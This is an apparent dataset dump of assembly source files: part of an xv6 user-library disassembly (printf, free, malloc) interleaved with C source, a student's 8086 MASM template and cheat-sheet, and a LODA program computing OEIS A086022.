a34: e8 e3 fd ff ff call 81c <putc>
a39: 83 c4 10 add $0x10,%esp
a3c: eb 25 jmp a63 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
a3e: 83 ec 08 sub $0x8,%esp
a41: 6a 25 push $0x25
a43: ff 75 08 pushl 0x8(%ebp)
a46: e8 d1 fd ff ff call 81c <putc>
a4b: 83 c4 10 add $0x10,%esp
putc(fd, c);
a4e: 8b 45 e4 mov -0x1c(%ebp),%eax
a51: 0f be c0 movsbl %al,%eax
a54: 83 ec 08 sub $0x8,%esp
a57: 50 push %eax
a58: ff 75 08 pushl 0x8(%ebp)
a5b: e8 bc fd ff ff call 81c <putc>
a60: 83 c4 10 add $0x10,%esp
}
state = 0;
a63: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
a6a: 83 45 f0 01 addl $0x1,-0x10(%ebp)
a6e: 8b 55 0c mov 0xc(%ebp),%edx
a71: 8b 45 f0 mov -0x10(%ebp),%eax
a74: 01 d0 add %edx,%eax
a76: 0f b6 00 movzbl (%eax),%eax
a79: 84 c0 test %al,%al
a7b: 0f 85 94 fe ff ff jne 915 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
a81: 90 nop
a82: c9 leave
a83: c3 ret
00000a84 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
a84: 55 push %ebp
a85: 89 e5 mov %esp,%ebp
a87: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
a8a: 8b 45 08 mov 0x8(%ebp),%eax
a8d: 83 e8 08 sub $0x8,%eax
a90: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
a93: a1 7c 11 00 00 mov 0x117c,%eax
a98: 89 45 fc mov %eax,-0x4(%ebp)
a9b: eb 24 jmp ac1 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
a9d: 8b 45 fc mov -0x4(%ebp),%eax
aa0: 8b 00 mov (%eax),%eax
aa2: 3b 45 fc cmp -0x4(%ebp),%eax
aa5: 77 12 ja ab9 <free+0x35>
aa7: 8b 45 f8 mov -0x8(%ebp),%eax
aaa: 3b 45 fc cmp -0x4(%ebp),%eax
aad: 77 24 ja ad3 <free+0x4f>
aaf: 8b 45 fc mov -0x4(%ebp),%eax
ab2: 8b 00 mov (%eax),%eax
ab4: 3b 45 f8 cmp -0x8(%ebp),%eax
ab7: 77 1a ja ad3 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
ab9: 8b 45 fc mov -0x4(%ebp),%eax
abc: 8b 00 mov (%eax),%eax
abe: 89 45 fc mov %eax,-0x4(%ebp)
ac1: 8b 45 f8 mov -0x8(%ebp),%eax
ac4: 3b 45 fc cmp -0x4(%ebp),%eax
ac7: 76 d4 jbe a9d <free+0x19>
ac9: 8b 45 fc mov -0x4(%ebp),%eax
acc: 8b 00 mov (%eax),%eax
ace: 3b 45 f8 cmp -0x8(%ebp),%eax
ad1: 76 ca jbe a9d <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
ad3: 8b 45 f8 mov -0x8(%ebp),%eax
ad6: 8b 40 04 mov 0x4(%eax),%eax
ad9: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
ae0: 8b 45 f8 mov -0x8(%ebp),%eax
ae3: 01 c2 add %eax,%edx
ae5: 8b 45 fc mov -0x4(%ebp),%eax
ae8: 8b 00 mov (%eax),%eax
aea: 39 c2 cmp %eax,%edx
aec: 75 24 jne b12 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
aee: 8b 45 f8 mov -0x8(%ebp),%eax
af1: 8b 50 04 mov 0x4(%eax),%edx
af4: 8b 45 fc mov -0x4(%ebp),%eax
af7: 8b 00 mov (%eax),%eax
af9: 8b 40 04 mov 0x4(%eax),%eax
afc: 01 c2 add %eax,%edx
afe: 8b 45 f8 mov -0x8(%ebp),%eax
b01: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
b04: 8b 45 fc mov -0x4(%ebp),%eax
b07: 8b 00 mov (%eax),%eax
b09: 8b 10 mov (%eax),%edx
b0b: 8b 45 f8 mov -0x8(%ebp),%eax
b0e: 89 10 mov %edx,(%eax)
b10: eb 0a jmp b1c <free+0x98>
} else
bp->s.ptr = p->s.ptr;
b12: 8b 45 fc mov -0x4(%ebp),%eax
b15: 8b 10 mov (%eax),%edx
b17: 8b 45 f8 mov -0x8(%ebp),%eax
b1a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
b1c: 8b 45 fc mov -0x4(%ebp),%eax
b1f: 8b 40 04 mov 0x4(%eax),%eax
b22: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
b29: 8b 45 fc mov -0x4(%ebp),%eax
b2c: 01 d0 add %edx,%eax
b2e: 3b 45 f8 cmp -0x8(%ebp),%eax
b31: 75 20 jne b53 <free+0xcf>
p->s.size += bp->s.size;
b33: 8b 45 fc mov -0x4(%ebp),%eax
b36: 8b 50 04 mov 0x4(%eax),%edx
b39: 8b 45 f8 mov -0x8(%ebp),%eax
b3c: 8b 40 04 mov 0x4(%eax),%eax
b3f: 01 c2 add %eax,%edx
b41: 8b 45 fc mov -0x4(%ebp),%eax
b44: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
b47: 8b 45 f8 mov -0x8(%ebp),%eax
b4a: 8b 10 mov (%eax),%edx
b4c: 8b 45 fc mov -0x4(%ebp),%eax
b4f: 89 10 mov %edx,(%eax)
b51: eb 08 jmp b5b <free+0xd7>
} else
p->s.ptr = bp;
b53: 8b 45 fc mov -0x4(%ebp),%eax
b56: 8b 55 f8 mov -0x8(%ebp),%edx
b59: 89 10 mov %edx,(%eax)
freep = p;
b5b: 8b 45 fc mov -0x4(%ebp),%eax
b5e: a3 7c 11 00 00 mov %eax,0x117c
}
b63: 90 nop
b64: c9 leave
b65: c3 ret
00000b66 <morecore>:
static Header*
morecore(uint nu)
{
b66: 55 push %ebp
b67: 89 e5 mov %esp,%ebp
b69: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
b6c: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
b73: 77 07 ja b7c <morecore+0x16>
nu = 4096;
b75: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
b7c: 8b 45 08 mov 0x8(%ebp),%eax
b7f: c1 e0 03 shl $0x3,%eax
b82: 83 ec 0c sub $0xc,%esp
b85: 50 push %eax
b86: e8 61 fc ff ff call 7ec <sbrk>
b8b: 83 c4 10 add $0x10,%esp
b8e: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
b91: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
b95: 75 07 jne b9e <morecore+0x38>
return 0;
b97: b8 00 00 00 00 mov $0x0,%eax
b9c: eb 26 jmp bc4 <morecore+0x5e>
hp = (Header*)p;
b9e: 8b 45 f4 mov -0xc(%ebp),%eax
ba1: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
ba4: 8b 45 f0 mov -0x10(%ebp),%eax
ba7: 8b 55 08 mov 0x8(%ebp),%edx
baa: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
bad: 8b 45 f0 mov -0x10(%ebp),%eax
bb0: 83 c0 08 add $0x8,%eax
bb3: 83 ec 0c sub $0xc,%esp
bb6: 50 push %eax
bb7: e8 c8 fe ff ff call a84 <free>
bbc: 83 c4 10 add $0x10,%esp
return freep;
bbf: a1 7c 11 00 00 mov 0x117c,%eax
}
bc4: c9 leave
bc5: c3 ret
00000bc6 <malloc>:
void*
malloc(uint nbytes)
{
bc6: 55 push %ebp
bc7: 89 e5 mov %esp,%ebp
bc9: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
bcc: 8b 45 08 mov 0x8(%ebp),%eax
bcf: 83 c0 07 add $0x7,%eax
bd2: c1 e8 03 shr $0x3,%eax
bd5: 83 c0 01 add $0x1,%eax
bd8: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
bdb: a1 7c 11 00 00 mov 0x117c,%eax
be0: 89 45 f0 mov %eax,-0x10(%ebp)
be3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
be7: 75 23 jne c0c <malloc+0x46>
base.s.ptr = freep = prevp = &base;
be9: c7 45 f0 74 11 00 00 movl $0x1174,-0x10(%ebp)
bf0: 8b 45 f0 mov -0x10(%ebp),%eax
bf3: a3 7c 11 00 00 mov %eax,0x117c
bf8: a1 7c 11 00 00 mov 0x117c,%eax
bfd: a3 74 11 00 00 mov %eax,0x1174
base.s.size = 0;
c02: c7 05 78 11 00 00 00 movl $0x0,0x1178
c09: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
c0c: 8b 45 f0 mov -0x10(%ebp),%eax
c0f: 8b 00 mov (%eax),%eax
c11: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
c14: 8b 45 f4 mov -0xc(%ebp),%eax
c17: 8b 40 04 mov 0x4(%eax),%eax
c1a: 3b 45 ec cmp -0x14(%ebp),%eax
c1d: 72 4d jb c6c <malloc+0xa6>
if(p->s.size == nunits)
c1f: 8b 45 f4 mov -0xc(%ebp),%eax
c22: 8b 40 04 mov 0x4(%eax),%eax
c25: 3b 45 ec cmp -0x14(%ebp),%eax
c28: 75 0c jne c36 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
c2a: 8b 45 f4 mov -0xc(%ebp),%eax
c2d: 8b 10 mov (%eax),%edx
c2f: 8b 45 f0 mov -0x10(%ebp),%eax
c32: 89 10 mov %edx,(%eax)
c34: eb 26 jmp c5c <malloc+0x96>
else {
p->s.size -= nunits;
c36: 8b 45 f4 mov -0xc(%ebp),%eax
c39: 8b 40 04 mov 0x4(%eax),%eax
c3c: 2b 45 ec sub -0x14(%ebp),%eax
c3f: 89 c2 mov %eax,%edx
c41: 8b 45 f4 mov -0xc(%ebp),%eax
c44: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
c47: 8b 45 f4 mov -0xc(%ebp),%eax
c4a: 8b 40 04 mov 0x4(%eax),%eax
c4d: c1 e0 03 shl $0x3,%eax
c50: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
c53: 8b 45 f4 mov -0xc(%ebp),%eax
c56: 8b 55 ec mov -0x14(%ebp),%edx
c59: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
c5c: 8b 45 f0 mov -0x10(%ebp),%eax
c5f: a3 7c 11 00 00 mov %eax,0x117c
return (void*)(p + 1);
c64: 8b 45 f4 mov -0xc(%ebp),%eax
c67: 83 c0 08 add $0x8,%eax
c6a: eb 3b jmp ca7 <malloc+0xe1>
}
if(p == freep)
c6c: a1 7c 11 00 00 mov 0x117c,%eax
c71: 39 45 f4 cmp %eax,-0xc(%ebp)
c74: 75 1e jne c94 <malloc+0xce>
if((p = morecore(nunits)) == 0)
c76: 83 ec 0c sub $0xc,%esp
c79: ff 75 ec pushl -0x14(%ebp)
c7c: e8 e5 fe ff ff call b66 <morecore>
c81: 83 c4 10 add $0x10,%esp
c84: 89 45 f4 mov %eax,-0xc(%ebp)
c87: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
c8b: 75 07 jne c94 <malloc+0xce>
return 0;
c8d: b8 00 00 00 00 mov $0x0,%eax
c92: eb 13 jmp ca7 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
c94: 8b 45 f4 mov -0xc(%ebp),%eax
c97: 89 45 f0 mov %eax,-0x10(%ebp)
c9a: 8b 45 f4 mov -0xc(%ebp),%eax
c9d: 8b 00 mov (%eax),%eax
c9f: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
ca2: e9 6d ff ff ff jmp c14 <malloc+0x4e>
}
ca7: c9 leave
ca8: c3 ret
|
template_assembly_lang.asm | TashinAhmed/ASSEMBLY-LANGUAGE | 0 | 87211 | .MODEL SMALL
.STACK 100H
.DATA
NEWLINE DB 0AH,0DH,'$'
VAR DB ?
.CODE
MAIN PROC
EXIT:
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN
;//////////////////// .....ARRAY
.DATA
NUMBER DB 0,1,2,3,.....
NUMBER1 DB 10 DUB (?) ; 10 SIZE UNASSIGNED
NUMBER2 DB 10 DUB (0) ; 10 SIZE ASSIGNED 0
NUMBER3 DB 5, 4, 3 DUP(2, 3 DUP (4)) ;5 4 2 4 4 4 2 4 4 4 2 4 4 4
WORDDDD DW 65,66,67,68,69
MAIN PROC
MOV AX,@DATA
MOV DS,AX
;FOR NUMBER .....
MOV CX ,10
XOR BX,BX
MOV AH,2
FOR:
MOV DL,NUMBER[BX]
ADD DL,48
INT 21H
ADD BX,1
LOOP FOR
;FOR WORD .....
MOV CX ,5
XOR BX,BX
MOV AH,2
FOR:
MOV DX,WORDDDD[BX]
XOR DH,DH
INT 21H
ADD BX,2
LOOP FOR
;//////////////////////////////////////////....ARRAY END
;USER DEFINED PROC
MAIN PROC
MOV AH,1H
CALL FUNC
MOV BH,4H
JMP EXIT
MAIN ENDP
FUNC PROC
MOV AH,3H
MOV BH,5H
RET
FUNC ENDP
EXIT:
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;-----------------DATA READY FOR USING
MOV AX,@DATA
MOV DS,AX ;MAKE AX ZERO AFTER USING GOOD PRACTICE
;--------------------
MOV AH,9 ;FOR INP STRING
MOV AH,1 ;FOR INP INT
MOV AH,2 ;OUTPUT INSTRUCTION
INT 21H ;CONSOLE SHOW INSTRUCTION
;------------------------------- MULTIPLY
MOV AL,NUMB
MOV REG,NUMB
MUL REG ; ANS WILL BE SAVED IN AX PRINTF -> MOV DX,AX
;------------------------------- DIVIDE
MOV AX,NUMB TO DIVIDE ; FOR 16 BIT -> MOV DX,0 OR NUMB MOV AX,NUMB QUO -> QX REM -> DX
MOV REG,NUMB BY DIVIDE
DIV REG ; QUOTIENT AL REM AH
;*****************
;SHIFTS :
SHL REG,HOW_MANY_DIGITS_TO_SHIFT ; LEFT SHIFT
SHR REG,HOW_MANY_DIGITS_TO_SHIFT ; RIGHT SHIFT
;--------------------------------------JUMPS
JMP LABEL_NAME ;UNCONDITIONAL JUMP
CMP X, Y
JL LABEL_NAME ;IF X<Y JUMP TO LABEL
TEST REG ,1 ; IF LAST BIT OF ANY NUMBER IS 1 THAN IT IS ODD IF 0 ITS EVEN
JZ ANY_FUNCTION ; IF 0(EVEN) GOTO ANY FUNCTION
CMP X, Y
JG LABEL_NAME ;IF X>Y JUMP TO LABEL
; JLE(<=) JGE(>=) JNE(!=)JE(==) JZ (=0)
;-----------------FOR NEWLINE
LEA DX,NEWLINE
MOV AH,9
INT 21H
; SOMETIMES IT NEEDS TO MAKE ALL REG USED HERE TO $ZERO
|
oeis/086/A086022.asm | neoneye/loda-programs | 11 | 168536 | ; A086022: a(n) = Sum_{i=1..n} C(i+2,3)^4.
; Submitted by <NAME>
; 1,257,10257,170257,1670882,11505378,61292514,268652514,1009853139,3352413139,10042998755,27598188771,70457539396,168802499396,382616259396,825980472132,1707628231653,3396588391653,6525595601653,12150082161653,21987344308134,38769279231910,66753379231910,112450979231910,185649698372535,300829300067511,479097620212167,750806689172167,1159049724422792,1764288446982792,2650418460682888,3932649658444424,5767660369295049,8366579985455049,12011467039865049,17076080259746265,24051891321331306
lpb $0
mov $2,$0
sub $0,1
add $2,3
bin $2,3
pow $2,4
add $1,$2
lpe
add $1,1
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.